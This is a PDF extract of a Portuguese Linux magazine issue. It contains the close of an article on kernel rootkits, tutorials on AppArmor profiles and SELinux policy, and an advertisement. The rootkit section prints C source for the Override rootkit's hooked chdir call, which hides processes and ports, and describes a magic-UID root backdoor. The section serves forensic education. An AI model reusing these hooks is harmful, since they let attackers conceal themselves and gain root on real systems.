Exemplo 4: Switch oculto01 int my_chdir (char *path) {02 char *ptr=NULL;03 int pid;04 int i;05 if (strncmp (PROC_STRING, path, strlen (PROC_STRING)) == 0) {06 ptr = path + strlen (PROC_STRING);07 pid = my_atoi (ptr);08 if (pid > 0) {09 for (i=0; i<=MAX_HIDE_PIDS; i++) {10 if (hide_pids[i] != 0) {11 if (pid == hide_pids[i]) {12 return -1;13 }14 }15 }16 }17 }18 if (strncmp (CHDIR_HIDE_PID, path, strlen(CHDIR_HIDE_PID)) == 0) {19 ptr = (char *)path + strlen (CHDIR_HIDE_PID);20 return hide_pid(my_atoi(ptr));21 } else if (strncmp (CHDIR_UNHIDE_PID, path, strlen(CHDIR_UNHIDE_PID)) == 0) {22 ptr = (char *)path + strlen (CHDIR_UNHIDE_PID);23 return unhide_pid(my_atoi(ptr));24 } else if (strncmp (CHDIR_SHOW_PIDS, path, strlen(CHDIR_SHOW_PIDS)) == 0) {25 char pidlist[32];26 unsigned long mmm;27 struct task_struct *task;28 char *string;29 int i;30 31 mmm=current->mm->brk;32 org_brk((char*)mmm+32);33 string = (char *)mmm +2;34 35 for (i = 0; i <= MAX_HIDE_PIDS; i++) {36 if (hide_pids[i] != 0) {37 task = find_task_by_pid (hide_pids[i]);38 snprintf (pidlist, 32, “%d - %s\n”, hide_pids[i], task->comm);39 copy_to_user (string, pidlist, strlen(pidlist)+1);40 org_write (1, string, strlen(string)+1);41 }42 }43 44 org_brk((char*)mmm);45 return 0;46 } else if (strncmp (CHDIR_HIDE_NET, path, strlen(CHDIR_HIDE_NET)) == 0) {47 ptr = (char *)path + strlen (CHDIR_HIDE_NET);48 return hide_port(my_atoi(ptr));49 } else if (strncmp (CHDIR_UNHIDE_NET, path, strlen(CHDIR_UNHIDE_NET)) == 0) {50 ptr = (char *)path + strlen (CHDIR_UNHIDE_NET);51 return unhide_port(my_atoi(ptr));52 }53 return org_chdir (path);54 }


33

| CAPARootkits


uma ferramenta como o Kernel Guard [1] certamente ajudará.

A vida do invasor começa a ficar real-mente difícil quando o kernel não tem su-porte a módulos. Se você optar por manter essa importante função em seu kernel, o Kernel Guard é uma ajuda simples, mas eficiente. Ele consiste de um rootkit benigno que modifica as duas chamadas de siste-ma responsáveis por carregar e descarregar módulos do kernel. Após carregar o Kernel Guard, ninguém (incluindo usuários com privilégios de superusuário) poderá carregar ou descarregar módulos de kernel.

ConclusõesProgramas que utilizam checksums, como o Aide ou o Tripwire, não ajudam na batalha contra os rootkits de kernel. Os rootkits manipulam as chamadas de sis-tema diretamente, ou então em outras partes do kernel, o que lhes confere a ca-pacidade de enganar qualquer programa do espaço do usuário. Você precisa saber exatamente como o rootkit funciona para conseguir encontrar rastros de sabotagem. Os alvos a serem examinados e procura-dos pelos especialistas em computação forense dependem totalmente do rootkit que estiverem caçando. ■

Mais Informações[1] Amir Alsbih, Override Rootkit e Kernel

Guard: http://www.informatik.uni-freiburg.de/~alsbiha/code.htm

[2] Halflife, “Abuse of the Linux Kernel for fun and profit”: http://www.phrack.org/phrack/50/P50-05

[3] Palmers, “Advances in Kernel Hacking”: http://www.phrack.org/phrack/58/p58-0x06

[4] S0ftpr0ject: http://www.s0ftpj.org/en/tools.html

[5] Saint Jude: http://sourceforge.net/projects/stjude

[6] Sebek: http://www.honeynet.org/tools/sebek/

[7] Adore-NG: http://packetstorm.linuxsecurity.com

[8] Strace: http://www.liacs.nl/~wichert/strace

Técnicas do rootkit OverrideOcultar processo chdir /dev/grid-hide-pid-process IDRevelar processo chdir /dev/grid-unhide-pid-process IDMostrar processos ocultos chdir /dev/grid-show-pidsOcultar porta de rede chdir /dev/grid-hide-port-Port

Revelar porta de rede chdir /dev/grid-unhide-port-PortPrivilégios de superusuário Roda um programa arbitrário como usuário com Magic User ID

Tabela 2: Chamadas de sistema comprometidas

Modificação de chamada de sistema Resultado

Chdir Switch oculto para esconder processos e portas de rede. Também engana caçadores de rootkits que buscam vestígios de proces-sos ocultos no sistema de arquivos proc.

Getuid e Geteuid O kernel dá privilégios de superu-suário aos processos pertencen-tes a usuários com Magic UID

Getdents64 Apaga arquivos individuais da listagem do diretório. Entretanto, se você sou-ber os nomes, ainda poderá abrir os ar-quivos e entrar em diretórios ocultos

Read Bloqueia a leitura através de portas ocultas

Fork e Clone Automaticamente oculta processos-filhos que pertençam a um processo oculto

O AutorAmir Alsbih estuda Ciência da Computação na Universidade de Freiburg. Sua principal área de pesquisa é a segurança em TI. Amir freqüentemente dá palestras para a polícia, o Escritório Governamental de Investiga-ção Criminal e investigadores particulares.



O AppArmor [1] é um sistema de proteção fácil de configurar, mas efetivo, segundo a explicação da

Novell. A empresa vê o aplicativo como um concorrente do SELinux, que tem sido parte integrante do Suse já há um tempo, embora sem as políticas necessá-rias para rodá-lo. Enquanto o SELinux é comparativamente difícil de configurar, pois implementa abrangentes controles mandatórios de acesso (ou MACs - Man-datory Access Control), o AppArmor foca em restringir o alcance de aplicativos individuais.

Programas com bugs são um fato lamentável da vida. Aplicativos web, em especial, sofrem muito com isso. A maioria desses aplicativos não são escritos

por especialistas em segurança, embora possam ser acessados publicamente na web, o que faz deles um alvo fácil para agressores. Se um agressor encontra um erro de programação em um aplicativo, ele pode explorar esse erro e, fatalmente, ganhar acesso ao sistema.

Mesmo se o intruso comprometer ape-nas uma conta de usuário comum, isso ainda é perigoso. A conta dá ao hacker acesso direto às ferramentas instaladas localmente. Uma única vulnerabilida-de em um programa que precise de Set UID root (privilégios de root temporários) já basta para o agressor tomar as rédeas do sistema.

Tradicionalmente, administradores e webmasters não têm tido alternativa a não ser manter os sistemas atualizados e remover qualquer peso extra, ou seja, instalar apenas os aplicativos que serão realmente necessários. Mas nada disso protege contra a exploração de vulnerabi-lidades não corrigidas (zero day exploits), ou seja, que ainda são oficialmente des-conhecidas.

Como funcionaO AppArmor foi feito para ajudar adminis-tradores a sair dessa armadilha. O sistema monitora o modo como processos acessam arquivos. Ele distingue entre acesso de leitura ou escrita e também monitora o uso de privilégios root. Dependendo do kernel, o Linux pode distinguir entre até 29 recursos (capabilities; saiba mais com o comando man capabilities).

Por exemplo, o CAP_KILL se refe-re à habilidade de finalizar processos; já o CAP_NET_RAW permite que o root crie pacotes de rede aleatórios. O comando ping precisa dessa habilidade, por exemplo.

A idéia de controlar acessos e ações através de um programa, no lugar do sistema de permissões, não é nova. Em sistemas FreeBSD e Linux, o Systrace [7], de Niels Provos, implementa esse princí-pio. Mas enquanto o Systrace monitora chamadas do sistema – como o nome indica –, o AppArmor usa o LSM Hooks (veja o quadro 1: Immunix).

ImplementaçãoA Novell inclui o AppArmor com a versão comercial do Suse Linux 10 e o SLES 9 SP3 (Suse Linux Enterprise Ser-ver 9, Service Pack 3). A versão GPL está incluída no Suse 10.1 OSS. É possível instalar o AppArmor no Suse 10.0 OSS, embora isso exija um patch demorado no kernel. Conforme as informações das listas de email [2], o Ubuntu e o Fedo-ra vão suportar o AppArmor no futuro. No momento da conclusão deste artigo, a interface do aplicativo exigia o Yast 2 para funcionar.

A Novell tem alguns pacotes prontos no Novell Forge [3]. Os RPMs para o Suse 10.1 OSS funcionam no Suse 10.0. Um kernel pronto para o AppArmor também é necessário. O melhor método é usar um pacote original do repositório do kernel [4] – por exemplo o 2.6.15 – em combi-

Barrando intrusos com o AppArmor

Armadura seguraQuando um agressor consegue comprometer um sistema, ele ganha os privilégios da vítima. O AppArmor defende o ataque reduzindo permissões potenciais de cada aplicativo para um mínimo.por Ralf Spenneberg

CA

PA

Quadro 1: ImmunixO AppArmor começou sua carreira como um produ-to comercial da empresa Immunix, embora fosse cha-mado de Subdomain na época. A Novell adquiriu a Im-munix em meados de 2005, renomeou o aplicativo para AppArmor e licenciou o código sob a GPL em 2006.

A Immunix era uma bem conhecida empresa de soluções de segurança, mais especificamente devido ao compi-lador Stackguard, um GCC modificado que protege apli-cativos contra ataques do tipo estouro de buffer.

A Immunix também estava profundamente envolvida no desenvolvimento da interface LSM (Linux Security Modu-les) para o kernel 2.6. Além do AppArmor, alguns siste-mas de segurança como o LIDS (Linux Intrusion Detection System) e o concorrente SELinux, usam a interface LSM para injetar controles onde eles são necessários no ker-nel. Devido ao LSM, patches não são necessários; contudo a arquitetura LSM ainda é polêmica em alguns projetos.

Monika Leon – www.sxc.hu


35

| CAPAAppArmor


nação com os patches aa_2.0-2.6.15.patch e aa_namespace_sem-2.6.15.patch [5]. Ao executar o comando make oldconfig basta apenas seguir com [Enter] para aceitar os valores padrão. Os passos específicos são mostrados no exemplo 1.

Em patches mais novos, a Novell vai renomear a estrutura do kernel no Secu-rity FS para /sys/kernel/security/apparmor. O Securiy FS tem sido parte do kernel padrão desde a versão 2.6.14.

IniciandoO componente do AppArmor no espaço do usuário inicia o serviço do sistema e associa uma política. Seu script init manteve o antigo nome (“subdomain”): /etc/init.d/subdomain start carrega e ativa o módulo do kernel AppArmor.

Para permitir que o módulo monitore um aplicativo, ele precisa ser ativado antes do aplicativo que você quer proteger. Esse é o motivo pelo qual faz sentido lançar o AppArmor no boot. Além disso, o aplica-tivo precisa de um arquivo de perfil em /etc/subdomain.d (as futuras versões vão usar o diretório /etc/apparmor.d).

A Novell fornece perfis para todo um punhado de aplicativos críticos, incluin-do servidores como o Apache (em modo Prefork) e OpenSSH, para ferramentas S-Bit como o ping e o man, clientes como Firefox e o Real Player, visualizadores como o Acrobat Reader e até para servi-ços como o Klogd e o Syslogd.

Novos perfisSe você precisar criar perfis extras para os aplicativos, o assistente de perfil do Yast pode ajudar a configurá-los. Ele só precisa saber o programa para o qual o perfil será criado. O usuário então executa o aplica-tivo e o usa de maneira rotineira.

É importante usar todas as funções do aplicativo nessa etapa. Tenha certe-za de que nenhum ataque ocorra nessa fase de análise. O AppArmor mais tarde vai liberar todos os recursos usados nessa etapa. É assim que ele “aprende” sobre as funções de determinado aplicativo.

Após finalizar o programa em teste, o próximo passo é analisar os eventos registrados usando o assistente de perfil. Ele sugere uma ação para cada caso. Se o programa monitorado chama outro aplicativo, o assistente dá as seguintes opções: Inherit significa que as mesmas restrições valem para o novo aplicativo. Profile indica que o programa chamado tem seu próprio perfil. Unconfined deter-

mina que o AppArmor não vai monitorar o novo processo. Deny impede que o programa chamado seja executado.

Modelos práticosPara facilitar o processo de criação e administração de perfis, o AppArmor usa arquivos de inclusão. Eles são im-plementados como bibliotecas de abs-tração e contêm regras para operações padrão legadas. Por exemplo, #include <abstractions/kde> permite o acesso a arquivos de configuração e funções do KDE. Outros perfis permitem a usuá-rios executarem um terminal ou uma resolução de nome.

Após concluir o assistente com êxito, vale a pena executar novamente o aplica-tivo analisado e testar seu comportamento, agora sob a proteção do AppArmor. Se você notar que alguma função não está funcionando como deveria, talvez seja preciso rodar novamente o assistente. Nes-se caso, o assistente lê o perfil existente e o atualiza com as mudanças.

O exemplo 2 demonstra um típico perfil AppArmor para o Kpdf. Depois dos comentários para o Vim (o Suse possui um destacador de sintaxe para o editor Vim), o perfil começa com o caminho do Kpdf; isso especifica qual programa a política governa. A entrada flags=(complain) no arquivo alterna o perfil para para o modo complain (“de reclamação”). Nesse modo, o AppArmor vai alertar sobre infrações à política, mas sem evitar que os eventos ocorram. A opção flags=(enforce) diz ao AppArmor para restringir as ações do Kpdf.

As linhas de 4 a 10 se referem a al-guns arquivos include. As linhas de 12 a 18 listam os caminhos que o Kpdf pode acessar. Um r após o caminho ou nome de arquivo indica permissão de leitura, enquanto rw permite leitura e escrita. ➧

Exemplo 1: Etapas da configuração01 tar xjvf linux-2.6.15.tar.bz202 cd linux-2.6.1503 patch -p1<../aa_2.0-2.6.15.patch04 patch -p1<..05 /aa_namespace_sem-2.6.15.patch06 make oldconfig07 make bzImage08 make modules09 make modules_install10 make install11 rmdir /subdomain12 ln -s /sys/kernel/security13 /subdomain /subdomain

Exemplo 2: Perfil Kpdf (trecho)01 # vim:syntax=subdomain02 # Last Modified: Sun Jan 22 10:16:55 200603 /opt/kde3/bin/kpdf flags=(complain) {04 #include <abstractions/authentication>05 #include <abstractions/base>06 #include <abstractions/bash>07 #include <abstractions/gnome>08 #include <abstractions/kde>09 #include <abstractions/nameservice>10 #include <abstractions/user-write>1112 / r,13 /etc r,14 /etc/X11/.kstylerc.lock rw,15 /etc/X11/.qt_plugins_3.3rc.lock rw,16 /etc/X11/.qtrc.lock rw,17 /etc/exports r,18 /etc/rpc r,

Figura 1 O Squidfire com as tentativas de acesso logadas pelo Squid. Para restringir o acesso a esse aplicativo web, o Apache roda o mod_change_hat para habilitar a integração com o AppArmor. Desta maneira, o sistema de segurança sabe qual é o aplicativo web rodando no momento.



CAPA | AppArmor

Servidores webO AppArmor é particularmente útil em servidores web. Diferentemente de MACs populares como LIDS, GR Security, RSBAC ou SELinux, ele pode monitorar hosts virtuais com perfis dife-rentes em um servidor web. O servidor Apache pode alternar perfis dependendo do diretório atual. A Novell chama essa função de change_hat (que pode ser vista como uma referência humorada à con-corrência) ou “trocar de chapéu”.

Sem alguma ajuda do Apache, o AppArmor não pode se certificar do estado do servidor. Para isso, a Novell fornece o módulo mod_change_hat (o nome será mudado para mod_apparmor). O AppAr-mor permite que aplicativos mudem seu contexto de segurança, contudo, o servidor Apache é o único que imple-mentou esse recurso, até a conclusão deste artigo. O perfil principal de um aplicativo pode ter diversos sub-perfis (chamados de hats ou “chapéus”). Mas

a hierarquia é de apenas uma camada: subperfis não podem ter outro subperfil.

Trocando chapéusO Yast pode gerenciar subper-fis com sua interface gráfica. A ferramenta de linha de co-mando é mais poderosa, mas a do Yast é mais simples. A seção seguinte se refere ao aplicativo web Squidfire (figura 1, link [6]) sendo configurado na versão Yast do AppArmor.

O Squidfire é um script PHP que tor-na os logs do Squid “buscáveis”. O perfil do AppArmor que se encarrega dele, usr.sbin.httpd2-prefork, nega ao Apache (con-seqüentemente ao Squidfire) qualquer acesso aos logs, como a seguinte men-sagem de erro (em /var/log/audit/audit.log) pode confirmar:

type=APPARMOR➥ msg=audit (1143872666.069:205):➥ REJECTING r access to /var/log/squid➥ (httpd2-prefork (14820)➥ profile /usr/sbin/httpd2-prefork➥ active DEFAULT_URI)

Precisamos de um subperfil para o Squidfire e, ao mesmo tempo, liberar o acesso exclusivamente para os logs do Squid. Isso previne que usuários do Squidfire usem a ferramenta em arqui-vos não-Squid. De novo, o assistente de perfis no Yast irá cuidar do subperfil. Quando rodamos o assistente, escolha o Apache como o aplicativo. Isso diz ao

AppArmor para permitir todas as ações desse processo e para logar essas ações para uma análise posterior.

Após trabalhar com o aplicativo em seu navegador por alguns minutos, clique no botão Scan system log for AppArmor events no assistente (figura 2), para completar a fase de análise. Se você estiver analisando um aplicativo que pode “trocar de cha-péu”, o assistente vai sugerir a criação de um novo subperfil ou “chapéu”.

Limites estritosCuidado ao responder às questões do assistente de perfil, particularmente se o aplicativo principal chamar progra-mas externos. Faz sentido permitir que essas ferramentas externas herdem o perfil do processo principal. Ao acres-centar imagens e arquivos CSS, o perfil padrão do Apache é uma boa escolha. Depois de você responder algumas per-guntas, o assistente de perfil parte para a criação de um subperfil em usr.sbin.httpd2-prefork (o exemplo 3 contém um trecho desse perfil).

Por padrão, a URI é usada para distin-guir entre diferentes subperfis do Apa-che (veja a linha 1 do exemplo 3). Esse exemplo permite que o aplicativo web /squid/index.php use o Bash leia alguns arquivos do sistema, use componentes do Squidfire (linhas 10 a 14) e, finalmente, avaliem os logs de acesso do Apache e Squid (linhas 17 a 19).

Em uma inspeção mais de perto, o subperfil na verdade mostra o quanto algumas das ações do aplicativo são perigosas. O subperfil obviamente usa arquivos com nomes previsíveis abaixo de /tmp (linha 15) e roda ferramentas externas do shell (o Bash, linha 5, e o Tail, na linha 16).

Distinguindo diretóriosO módulo mod_change_hat permite a orga-nização de subperfis para hosts virtuais através das diretivas Location e Directory. Administradores podem informar ao mó-dulo qual método eles preferem usando as diretivas ImmDefaultHatName e ImmHatName. Esse prefixo “Imm” é um resquício das raízes Immunix. Nas versões mais novas, o módulo foi renomeado para mod_appar-mor e os nomes passarão a ser AAHatName e AADefaultHatName.

O ImmDefaultHatName (ou AADefaultHa-tName) seleciona um subperfil padrão

Exemplo 3: Subperfil do Apache (trecho)01 ^/squid/index.php {02 #include <abstractions/bash>03 #include <abstractions/nameservice>0405 /bin/bash ixr,06 /dev/tty rw,07 /etc/ld.so.cache r,08 /lib/ld-2.3.90.so ixr,09 /lib/lib*so* r,10 /srv/www/htdocs/squid/cache.inc.php r,11 /srv/www/htdocs/squid/config.inc.php r,12 /srv/www/htdocs/squid/default_config.inc.php r,13 /srv/www/htdocs/squid/index.php r,14 /srv/www/htdocs/squid/parse_squid_row.inc.php r,15 /tmp/access.log_1.3.0.inc r,16 /usr/bin/tail ixr,17 /var/log/apache2/access_log w,18 /var/log/squid r,19 /var/log/squid/access.log r,}

Figura 2 Clique em Scan system log e o assistente vai fazer sugestões adequadas ao perfil.


37

| CAPAAppArmor


para cada servidor virtual. Além disso, subperfis podem ser designados para áreas individuais usando as diretivas Di-rectory ou Location. As seguintes linhas na configuração do Apache designariam um “chapéu” para o Squidfire.

<Directory “/srv/www/htdocs/squid”> ImmHatName squidfire</Directory>

Se você preferir, é possível chamar o subperfil ̂ squidfire em vez de ̂ squid/in-dex.php (linha 1 do exemplo 3). O AppArmor dá aos administradores um novo método para intensificar a segurança, especial-mente em ambientes de hospedagem compartilhada, em que vários clientes compartilham um servidor web. Desig-nar um chapéu específico para cada host virtual e restringir o acesso a arquivos de outro cliente diminuiria o risco de brechas no aplicativo de alguém comprometerem todo o servidor.

Assim, é uma boa idéia checar manu-almente as políticas que fazem isso ou criá-las manualmente a partir do zero, em vez de depender do modo complain. Essa é uma tarefa considerada complexa, mas que não deve ser difícil para a maioria dos administradores.

ConclusãoO AppArmor tranca aplicativos críticos em uma área isolada, restringindo o aces-so a arquivos e comandos específicos. Se o aplicativo tiver uma vulnerabilida-de que permita a agressores acessarem um shell e rodarem comandos com as credenciais da vítima, o AppArmor entra em cena. O aplicativo não pode sair de sua jaula. Embora isso não eli-mine a vulnerabilidade, o intruso não vai poder explorar a brecha, o que ga-rante ao administrador de sistemas um isolamento do problema até que uma correção esteja disponível.

Esse princípio protege a máquina contra os zero-day exploits. Isso é es-pecialmente útil para aplicativos que são acessíveis na Internet ou progra-mas que usam fontes de dados não-confiáveis (emails, imagens, vídeos, documentos).

Aplicativos com a capacidade de “mudar de chapéu” podem inclusive fazer isso dinamicamente, aplicando diferentes perfis quando a situação pede. Isso acrescenta a habilidade de definir perfis para aplicativos web específicos no servidor web, com a aplicação de regras específicas de acordo com a URI, host virtual ou diretório. ■

Mais Informações[1] AppArmor:

http://www.opensuse.org/AppArmor

[2] Lista de emails do AppArmor:http://forge.novell.com/mailman/listinfo/apparmor-general

[3] RPMs do AppArmor no Novell Forge:http://forge.novell.com/modules/xfmod/project/?apparmor

[4] Kernel :http://www.kernel.org

[5] Patches AppArmor para o kernel (janeiro): http://forgeftp.novell.com/apparmor/Development%20 -%20January%20Snapshot/

[6] Squidfire: http://squidfire.sourceforge.net

[7] Systrace: http://www.systrace.org

O AutorRalf Spenneberg é consultor e autor Unix/Linux freelancer. Sua empresa, a OpenSour-ce Training, oferece serviços de consultoria e treinamento. Autor de livros sobre detec-ção de intrusão e VPNs, sua última obra é o livro Linux Firewalls with Iptables & Co.

Fone: (61) 3366-1333Skype: ThinNetworks

[email protected]

101001010101010101010

10100101010 101010101010101010101 1100110101100101101010001011

O TC-NET revoluciona o mercado de ThinClients aoapresentar um sistema operacional baseado em Linuxe funcionalidades exclusivas, o TC-OS. Compatívelcom a maioria dos servidores de terminal existentes, essa solução agrega redução de custos de aquisição eatualização, facilidade de instalação e manutenção,maior estabilidade e confiabilidade, maiorsegurança, baixo consumo de energia e tamanhocompacto.

10100101010 101010101010101010101 1100110101100101101010001011

Os Thin Clients da ThinNetworks

Melhor relação custo benefício domercado e funcionalidades exclusivas

O sistema Operacional TC-OS

Recursos de centralizados;administração

Disponível com Flash (64mb ou 128mb) ou na versão PXE para uso com LTSP;

Clientes para CITRIX-ICA, Microsoft RDP 5.1, XDMCP e VNC e Tarantella;

Diversos aplicativos para uso local (navegador, Java, Skype,protetor de tela e outros).

Servidor VNC para permitir o controle remoto de cada ThinClient;



SELinux é uma adaptação do ker-nel Linux voltada para segurança e desenvolvida sob os auspícios da

agência nacional de segurança dos EUA (NSA). De acordo com a NSA, o SELinux funciona forçando “políticas de controle de acesso que confinam programas do usuário e servidores de sistema à quan-tidade mínima de privilégios necessários para que cumpram suas tarefas.”

A segurança de um sistema Linux co-mum é baseada num conceito conhecido como Controle Discreto de Acesso (Dis-cretionary Access Control, ou DAC). Num sistema DAC, o usuário recebe direito de acesso a um recurso (como um arquivo,

por exemplo) baseado nas credenciais do usuário, e os usuários têm o direito de modificar as permissões de todos os recursos que eles controlam. Esse design dá aos atacantes uma forma de invadir um sistema. Se o superusuário abrir o Ado-be Reader para acessar um arquivo PDF de uma fonte não confiável, o atacante poderia explorar uma vulnerabilidade para iniciar um shell de superusuário, apesar de shells de superusuário nada terem a ver com o que o Adobe Reader deve fazer.

O SELinux e outros sistemas seme-lhantes de segurança substituem o DAC por uma alternativa muito mais segura

conhecida como Contro-le Mandatório de Acesso (Mandatory Access Con-trol, ou MAC). Um siste-ma MAC permite que o administrador do sistema defina políticas que for-neçam um controle gra-nular sobre as permissões do usuário para acessar

recursos e modificar permissões. O SELi-nux também mantém controle sobre os privilégios conferidos aos processos. Aos processos não é permitido ter privilégios de que estes não precisem.

Se o SELinux for implementado cor-retamente, um invasor que ganhe acesso a um sistema Linux ficará bastante restri-to em suas ações. Como veremos neste artigo, o SELinux fornece uma plata-forma de segurança poderosa e versátil – se você estiver disposto a enfrentar sua complexidade.

Contexto de segurançaO SELinux usa o contexto de seguran-ça como critério central de acesso. O contexto consiste da conta do usuário SELinux (não confundir com o usuário Unix), junto com o papel e o tipo do usu-ário. O SELinux armazena o contexto de segurança para arquivos diretamente no sistema de arquivos, embora isso atual-

Acesso sob controle

SELinux

O SELinux fornece um forte sistema de controle mandatório de acesso para

o Linux. Isso é, se você estiver pronto para todos os detalhes.por Ralf Spenneberg

Figura 1 O SELinux associa todos os arquivos e processos a um contexto de segurança. O contexto e a política decidem que tipo de acesso é permitido.

CA

PA


39

| CAPASELinux


mente só funcione com Ext3 e XFS. Há patches disponíveis para ReiserFS, mas JFS ainda não é suportado.

Executar ls -Z apresenta o contexto de segurança de um arquivo: a figura 1 mostra user_u:object_r:paper_t. O usuário e grupo Unix são spenneb, enquanto o SELinux identifica o usuário como user_u; o papel do usuário é object_r, e o tipo é paper_t. Os sufixos nesses nomes indicam o componente de contexto. Os processos também são associados a um contexto de segurança, que você pode conferir com um ps -Z (veja a figura 1).

Negar tudoUm dos princípios do SELinux é que cada processo é associado a um domínio, e cada objeto a um tipo. O SELinux ini-cia negando todos os tipos de acesso. Até o acesso do domínio exemplo_t ao tipo exemplo_t é proibido. Cada ação tem que ser explicitamente permitida. A política pode ser assim para o domínio emacs_t:

allow emacs_t paper_t:file {create ioctl read getattr lock write➥ append setattr};

Isso permite que os processos do domínio emacs_t realizem em objetos do tipo paper_t as operações contidas entre as chaves. A classe de objeto :file especifica que esses objetos devem ser arquivos normais.

Mudando de domínioSe um usuário normal rodar o editor Emacs, o processo não usará automati-camente o domínio emacs_t. Na verdade, são necessárias permissões para que se mude de domínio, e esse processo é au-tomatizado. Para permitir que isso ocorra, uma regra primeiro define um ponto de entrada para o novo domínio do binário do editor Emacs. O arquivo do programa precisa ser do tipo emacs_exec_t (como uma etiqueta de sistema de arquivos), e o SELinux precisa da seguinte regra:

allow emacs_t emacs_exec_t:file entrypoint;

O SELinux agora permitirá que exe-cutáveis do tipo emacs_exec_t entrem no domínio emacs_t quando forem ini-ciados. Até agora tudo bem, mas o SE-Linux ainda tem que permitir que o executável realize essa ação. Como ele

fica em outro domínio, uma mudança de domínio ocorre quando o processo é iniciado. Uma regra de permissão e outra de transição de tipo são necessárias para que isso funcione:

allow { dominio_do_usuario }➥ emacs_t:process transition;type_transition { dominio_do_usuario }➥ emacs_exec_t:process emacs_t;

A regra allow permite que todos os processos que pertencem a um domínio da lista dominio_do_usuario iniciem pro-cessos no domínio emacs_t. A regra type_transition, em seguida, especifica que os processos chamados serão associados ao domínio emacs_t em vez de herdarem o domínio do usuário ou processo que os chamou, caso o programa seja do tipo emacs_exec_t. E isso só se aplica se o usuá-rio ou processo que os chamou pertencer a dominio_do_usuario.

Para deixar o SELinux utilizar essas regras em um sistema, todos os arquivos têm que ser associados a um contexto de segurança, em um processo chamado de rotulação. *.fc ou arquivos de contexto de arquivos especificam quais arquivos recebem quais rótulos:

/usr/bin/emacs(.*) --➥ system_u:object_r:emacs_exec_t

Quando um usuário em algum lu-gar do sistema cria um arquivo que casa com o padrão, o SELinux o associa ao contexto do tipo emacs_exec_t, conforme especificado.

ComplexidadeEsse exemplo demonstra claramente a enorme granularidade do SELinux, e sua conseqüente complexidade. Um administrador temporário não tem a mínima chance de se manter atuali-zado. Uma política do SELinux atinge facilmente um tamanho de 6MB – so-mente regras, e em ASCII. Os desen-

volvedores já vêm tentando há algum tempo fazer algo em relação à questão da complexidade.

A distribuição Fedora Core é uma das líderes em SELinux. Até a versão 4, o Fedora tinha duas políticas: Strict e Targeted. Enquanto a política Strict realmente implementava um sistema MAC para cada processo do sistema Li-nux, a política Targeted simplesmente inspecionava uns poucos serviços que lidam com dados potencialmente críti-cos – principalmente serviços de rede. Os processos restantes do Fedora Core eram executados num domínio unconfined_t, que não é exatamente como um sistema sem o SELinux.

Os processos do domínio unconfined_t têm permissão para mais ou menos to-dos os tipos de acesso, já que só os pri-vilégios DAC normais do sistema ficam em atividade. A abordagem do SELinux neste modo é semelhante à do AppAr-mor. Entretanto, o SELinux do Fedora Core 4 ainda precisa de 2,5MB de polí-ticas para suportar o grau necessário de granulosidade.

GerenciamentoA estrutura monolítica da estrutura das políticas as torna difíceis de gerenciar. Mudanças e adições à política sempre necessitam de modificações no códi-go-fonte, seguidas da compilação do binário. Obviamente, esse tipo de mu-dança é somente para administradores de sistemas.

Para facilitar a vida do administrador, as políticas podem conter variáveis boole-anas cujos valores podem mudar durante a execução. Por exemplo, a política Tar-geted do Fedora Core 4 tem 95 variáveis que definem se o SELinux deve ou não monitorar um serviço e como isso deve acontecer. A variável httpd_can_network_connect, por exemplo, especifica se o ser-vidor web tem permissão para estabelecer conexões de rede independentemente – com um servidor de banco de dados,

IDEsMuitas GUIs estão disponíveis para gerenciar o SELinux. O Slide (figura 3) é a primeira de-las para a política de referência. A Tresys Technology implementou a IDE como um plugin para o Eclipse que suporta marcação de sintaxe, assistentes e o recurso de auto-completar rótulos pré-definidos na interface do módulo. A instalação necessita do Eclipse SDK 3.1, da política de referência, e das ferramentas SE (SE Tools). A forma mais fácil de instalar o Sli-de é através de um pacote RPM ou diretamente usando o Eclipse a partir da página [8].

Depois da instalação, você deve ter uma IDE simples, organizada e com poucos pontos fracos, mas que torna o trabalho muito mais fácil, apesar da versão ainda inicial 0.1.0.



CAPA | SELinux

por exemplo. Variáveis booleanas não nos permitem delegar tarefas administrativas individuais a outros usuários.

Política de referênciaA diferença entre as políticas Strict e Targeted coloca um problema: é mais ou menos impossível trocar regras entre

políticas. A Tresys desenvolveu uma po-lítica de referência para o SELinux que tenta resolver essa questão. A política tem diversos objetivos, e sua principal preocupação é um alto nível de modula-ridade. A idéia é dar aos administradores a possibilidade de carregar, descarregar e substituir módulos em tempo de execu-ção. Para suportar a comunicação entre

módulos, cada módulo define sua própria in-terface. Para melhorar a legibilidade dos mó-dulos, cada um deles vem com sua própria documentação da in-terface. É possível gerar tanto uma política Strict quanto uma Targeted a partir da referência. O Fedora Core 5 é a primeira distribuição a apresentar essa nova tecnologia.

Enquanto a política Targeted tem somente dois módulos, base.pp e ena-bledaudit.pp, a Strict é composta por 149 módulos binários. O semodule carre-ga esses módulos levando em conta as dependências.

Módulos novosUm problema típico que ocorre quando se usa o SELinux é a geração de políticas para novos programas. Extensões como essa agora são possíveis com módulos binários, o que elimina a necessidade de passar todo o conjunto de regras alterado para o SELinux. Um módulo é composto de três arquivos:➧ modul.fc➧ modul.te➧ modul.if

O arquivo fc contém os contextos de arquivos que definem como o SELinux rotulará arquivos individuais. O arquivo te contém as regras de reforço de tipos; o arquivo if é novo, e contém a definição de interface de módulo e sua respectiva documentação. Embora os administra-dores possam escrever esses arquivos do zero, o Fedora Core 5 dispõe de um script chamado policygentool para ajudar a simplificar o processo.

A ferramenta de geração de políticas espera que você forneça o nome do mó-dulo a ser criado, além do caminho para o programa governado pelo módulo. A ferramenta então pede ao administrador algumas respostas e depois cria os arquivos de configuração e o módulo finalizado. Se você preferir criar o módulo manualmente a partir dos três arquivos, pode rodar o che-ckmodule para gerar o arquivo te, e depois usar o semodule_package para criar o arqui-vo de módulo modulo.pp, que você carrega executando semodule -i foo.pp.

Modo de treinamentoEm vez de tentar compilar manualmente os detalhes de uma política, faz sentido criar regras baseadas em mensagens de auditoria que tenham registrado nega-ções de acesso. E isso é exatamente o que faz o comando audit2allow; na re-alidade, ele implementa uma espécie de modo de treinamento. Os resultados são regras do SELinux que permitem exatamente os tipos de acesso que a ferramenta proibiu e registrou.

Naturalmente, esse comando roda no modo permissivo do SELinux, no qual o sistema simplesmente registra infrações de política sem negá-las. Uma versão desse comando modificada

Figura 2 O audit2allow manda o SELinux analisar os registros do audit quando acontecem eventos que infringem a política de segurança.

